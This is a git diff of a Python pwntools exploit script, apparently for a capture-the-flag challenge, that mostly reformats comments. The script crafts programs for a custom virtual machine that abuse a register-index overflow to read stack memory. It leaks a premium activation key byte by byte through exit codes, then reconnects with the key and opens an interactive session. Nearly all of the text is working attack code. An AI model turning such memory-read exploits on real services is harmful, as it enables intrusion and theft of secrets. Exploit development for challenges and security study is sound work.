diff --git a/exploit/exploit.py b/exploit/exploit.py index a526af0..85a1f1f 100755 --- a/exploit/exploit.py +++ b/exploit/exploit.py @@ -114,6 +114,7 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int: log.info(f"As char: {bytes([exit_code]).decode()}") return exit_code + def extract_premium_key(): offset_saved_rip_to_activation_key = 0x396d @@ -122,21 +123,22 @@ def extract_premium_key(): p = connect(b"", False) i = 0 while i < 0x80: - program = instr_r(Opcode.ADD, Register.K, Register.A) # arbitrary - program += instr_i(Opcode.LOADI, Register.A, 0x90909090) - - program = load_rsp(Register.G) # mov r8, rsp - program += instr_r(Opcode.ADD, Register.A, - Register.G) # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8]) - program += arbitrary_read(Register.H, Register.C) # add r9, [rcx] - program += instr_r(Opcode.ADD, Register.C, - Register.H) # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9]) - program += instr_i(Opcode.ADDI, Register.D, - offset_saved_rip_to_activation_key + i) # add rdx, offset_saved_rip_to_activation_key - program += arbitrary_read(Register.I, Register.D) # add r10, [rdx] - program += instr_r(Opcode.ADD, Register.D, - Register.I) # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10]) - program += instr_r(Opcode.COPY, Register.A, Register.B) # mov rax, rbx + # mov r8, rsp + program = load_rsp(Register.G) + # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8]) + program += instr_r(Opcode.ADD, Register.A, Register.G) + # add r9, [rcx] + program += arbitrary_read(Register.H, Register.C) + # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9]) + program += instr_r(Opcode.ADD, Register.C, Register.H) + # add rdx, offset_saved_rip_to_activation_key + program += instr_i(Opcode.ADDI, Register.D, offset_saved_rip_to_activation_key + i) + # add r10, [rdx] + program += arbitrary_read(Register.I, Register.D) + # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10]) + program += instr_r(Opcode.ADD, Register.D, Register.I) + # mov rax, rbx + program += instr_r(Opcode.COPY, Register.A, Register.B) exit_code = exec_program(p, program) if exit_code == 0: @@ -149,9 +151,11 @@ def extract_premium_key(): p.close() return premium_key + context.log_level = 'warn' premium_key = extract_premium_key() p = connect(premium_key, True) + p.interactive()